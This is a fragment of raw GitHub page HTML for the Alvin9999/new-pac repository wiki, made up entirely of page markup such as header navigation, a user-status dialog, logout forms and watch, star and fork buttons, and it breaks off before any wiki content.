1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> <li class="d-flex flex-justify-center flex-items-center p-0 f5 js-jump-to-suggestion"> <img src="https://github.githubassets.com/images/spinners/octocat-spinner-128.gif" alt="Octocat Spinner Icon" class="m-2" width="28"> </li> </ul> </div> </label> </form> </div> </div> </div> <ul class="d-lg-flex pl-lg-2 flex-items-center text-bold list-style-none"> <li class="d-lg-none"> <a class="HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:dashboard:user" aria-label="Dashboard" href="/dashboard"> Dashboard </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g p" data-ga-click="Header, click, Nav menu - item:pulls context:user" aria-label="Pull requests you created" data-selected-links="/pulls /pulls/assigned /pulls/mentioned /pulls" href="/pulls"> Pull requests </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-hotkey="g i" data-ga-click="Header, click, Nav menu - item:issues context:user" aria-label="Issues you created" data-selected-links="/issues /issues/assigned /issues/mentioned /issues" href="/issues"> Issues </a> </li> <li class="position-relative"> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:marketplace context:user" data-octo-click="marketplace_click" data-octo-dimensions="location:nav_bar" data-selected-links=" /marketplace" href="/marketplace"> Marketplace </a> </li> <li> <a class="js-selected-navigation-item HeaderNavlink px-lg-2 py-2 py-lg-0" data-ga-click="Header, click, Nav menu - item:explore" data-selected-links="/explore /trending /trending/developers /integrations /integrations/feature/code /integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore"> Explore </a> </li> </ul> </nav> <div class="d-lg-flex"> <ul class="user-nav d-lg-flex flex-items-center list-style-none" id="user-links"> <li class="dropdown"> <span class="d-none d-lg-block px-2"> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </span> </li> <li class="dropdown"> <details class="details-overlay details-reset d-none d-lg-flex px-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink" aria-label="Create new…" data-ga-click="Header, create new, icon:add"> <svg class="octicon octicon-plus float-left mr-1 mt-1" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9H7v5H5V9H0V7h5V2h2v5h5v2z"/></svg> <span class="dropdown-caret mt-1"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <div class="dropdown-divider"></div> <div class="dropdown-header"> <span title="Alvin9999/new-pac">This repository</span> </div> <a role="menuitem" class="dropdown-item" href="/Alvin9999/new-pac/issues/new" data-ga-click="Header, create new issue"> New issue </a> </details-menu> </details> </li> <li class="dropdown"> <a class="d-lg-none HeaderNavlink name tooltipped tooltipped-sw px-lg-2 py-2 py-lg-0" href="/p4g5" aria-label="View profile and more" aria-expanded="false" aria-haspopup="false"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="text-bold">p4g5</span> </a> <details class="details-overlay details-reset d-none d-lg-flex pl-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink name mt-1" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <div class="header-nav-current-user css-truncate"><a role="menuitem" class="no-underline user-profile-link px-3 pt-2 pb-2 mb-n2 mt-n1 d-block" href="/p4g5" data-ga-click="Header, go to profile, text:Signed in as">Signed in as <strong class="css-truncate-target">p4g5</strong></a></div> <div role="none" class="dropdown-divider"></div> <div class="px-3 f6 user-status-container js-user-status-context pb-1" data-url="/users/status?compact=1&link_mentions=0&truncate=1"> <div class="js-user-status-container user-status-compact" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link no-underline js-toggle-user-status-edit toggle-user-status-edit width-full" aria-haspopup="dialog" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":12132898,"target":"EDIT_USER_STATUS","user_id":47923458,"client_id":"1815209117.1550905425","originating_request_id":"818C:75AC:15C5D83:291B1C2:5C7218B8","originating_url":"https://github.com/Alvin9999/new-pac/wiki"}}" data-hydro-click-hmac="ced5050557a7bdc853d992aa928100040ac79be23fc4cb6ea21f7760d65c248f"> <div class="f6 d-inline-block v-align-middle user-status-emoji-only-header pl-0 circle lh-condensed user-status-header " style="max-width: 29px"> <div class="user-status-emoji-container flex-shrink-0 mr-1"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </div> </div> <div class="d-inline-block v-align-middle user-status-message-wrapper f6 lh-condensed ws-normal pt-1"> <span class="link-gray">Set your status</span> </div> </summary> <details-dialog class="details-dialog rounded-1 anim-fade-in fast Box Box--overlay" role="dialog" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" action="/users/status?compact=1&link_mentions=0&truncate=1" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="UhUocX8QxRCQfi0VVq50V8DOQgt0VtegaH303QE9m8PCCEjaixc+T4i9Uc+Hu37cMb2xXx4TolEIzX4hl4y0uw==" /> <div class="Box-header bg-gray border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <h3 class="Box-title f5 text-bold text-gray-dark">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 text-gray-dark"> <div class="js-characters-remaining-container js-suggester-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button type="button" aria-label="Choose an emoji" class="btn-outline btn js-toggle-user-status-emoji-picker bg-white btn-open-emoji-picker"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </span> </button> </span> <input type="text" autocomplete="off" autofocus data-maxlength="80" class="js-suggester-field d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" required value="" aria-label="What is your current status?"> <div class="error">Could not update your status, please try again.</div> </div> <div class="suggester-container"> <div class="suggester js-suggester js-navigation-container" data-url="/autocomplete/user-suggestions" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions" hidden> </div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-true" id="limited-availability-truncate-true"> <label class="d-block f5 text-gray-dark mb-1" for="limited-availability-truncate-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="/p4g5" data-ga-click="Header, go to profile, text:your profile">Your profile</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=repositories" data-ga-click="Header, go to repositories, text:your repositories">Your repositories</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=projects" data-ga-click="Header, go to projects, text:your projects">Your projects</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">Your stars</a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, your gists, text:your gists">Your gists</a> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">Help</a> <a role="menuitem" class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">Settings</a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="logout-form" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Y8HcCFJNTD+hYd7Kv9FtT+Xxj7WUTAFihH0C9cLChd+JHtM9aCiGPnCGrrkcg/KpMKG0LJm8JbL5T2kPHqYNjQ==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout" role="menuitem"> Sign out </button> </form> </details-menu> </details> </li> </ul> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="d-lg-none" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="oluBBaw9qfMJXUP8GdR5bZc9/Gw7dMAE2fQ5JlOw2OBIhI4wllhj8ti6M4+6huaLQm3H9TaE5NSkxlLcj9RQsg==" /> <button type="submit" class="btn-link HeaderNavlink d-block width-full text-left py-2 text-bold" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" style="margin-right: 2px;" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9V7H8V5h4V3l4 3-4 3zm-2 3H6V3L2 1h8v3h1V1c0-.55-.45-1-1-1H1C.45 0 0 .45 0 1v11.38c0 .39.22.73.55.91L6 16.01V13h4c.55 0 1-.45 1-1V8h-1v4z"/></svg> Sign out </button> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="sr-only right-0" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="b0Bgz4mqScE7zq0QVm08tZv5z1OzCVx+ozCI3NlInJaFn2/6s8+DwOop3WP1P6NTTqn0yr75eK7eAuMmBSwUxA==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout"> Sign out </button> </form> </div> </div> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container"> </div> <div role="main" class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <div > <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav pt-0 pt-lg-3 "> <div class="repohead-details-container clearfix container-lg p-responsive d-none d-lg-block"> <ul class="pagehead-actions"> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-remote="true" class="js-social-form js-social-container" action="/notifications/subscribe" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="KK6/k23EkvBozTQwWgEA5FH8ZX5XVrBLzcGpR4JinAhq7/tIjemrK8lhd0do997jcIFVbSagHOTaRJTrAyLvEQ==" /> <input type="hidden" name="repository_id" id="repository_id" value="54544023" class="form-control" /> <details class="details-reset details-overlay select-menu float-left"> <summary class="btn btn-sm btn-with-count select-menu-button" data-ga-click="Repository, click Watch settings, action:wiki#index"> <span data-menu-button> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </summary> <details-menu class="select-menu-modal position-absolute mt-5" style="z-index: 99;"> <div class="select-menu-header"> <span class="select-menu-title">Notifications</span> </div> <div class="select-menu-list"> <button type="submit" name="do" value="included" class="select-menu-item width-full" aria-checked="true" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Not watching</span> <span class="description">Be notified only when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </div> </button> <button type="submit" name="do" value="release_only" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Releases only</span> <span class="description">Be notified of new releases, and when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch releases </span> </div> </button> <button type="submit" name="do" value="subscribed" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Watching</span> <span class="description">Be notified of all conversations.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch </span> </div> </button> <button type="submit" name="do" value="ignore" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Ignoring</span> <span class="description">Never be notified.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-mute v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg> Stop ignoring </span> </div> </button> </div> </details-menu> </details> <a class="social-count js-social-count" href="/Alvin9999/new-pac/watchers" aria-label="885 users are watching this repository"> 885 </a> </form> </li> <li> <div class="js-toggler-container js-social-container starring-container "> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="starred js-social-form" action="/Alvin9999/new-pac/unstar" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="GTo3eO2YhEo8L7lENMkL+RSLnBTchg9YTdhcTMAWPQx/JBU/tuW7iAaYUuM24agiYdiJviImlX0ddi4rMZdncg==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Unstar this repository" title="Unstar Alvin9999/new-pac" data-ga-click="Repository, click unstar button, action:wiki#index; text:Unstar"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Unstar </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="unstarred js-social-form" action="/Alvin9999/new-pac/star" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="BQPzq91IsEBS9r+jwR/XVm38bv38iO0gZAS8UpQ9frXP14g4U9YoouFFk/ychCBLkSmg2JW6KZBv6jzyY5Ys2A==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Star this repository" title="Star Alvin9999/new-pac" data-ga-click="Repository, click star button, action:wiki#index; text:Star"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Star </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> </div> </li> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="btn-with-count" action="/Alvin9999/new-pac/fork" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="30Vh1ipLvlW/0PCnUecaRMVXMrEAkkUtICx4d/UTUZYbhHNFEQj0jQS6H89vocX56OZE3Wr8Y7tdgqTD0JQbgQ==" /> <button type="submit" class="btn btn-sm btn-with-count" data-ga-click="Repository, show fork modal, action:wiki#index; text:Fork" title="Fork your own copy of Alvin9999/new-pac to your account" aria-label="Fork your own copy of Alvin9999/new-pac to your account"> <svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> Fork </button> </form> <a href="/Alvin9999/new-pac/network/members" class="social-count" aria-label="2441 users forked this repository"> 2,441 </a> </li> </ul> <h1 class="public "> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <span class="author" itemprop="author"><a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=12132898" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/Alvin9999">Alvin9999</a></span><!-- --><span class="path-divider">/</span><!-- --><strong itemprop="name"><a 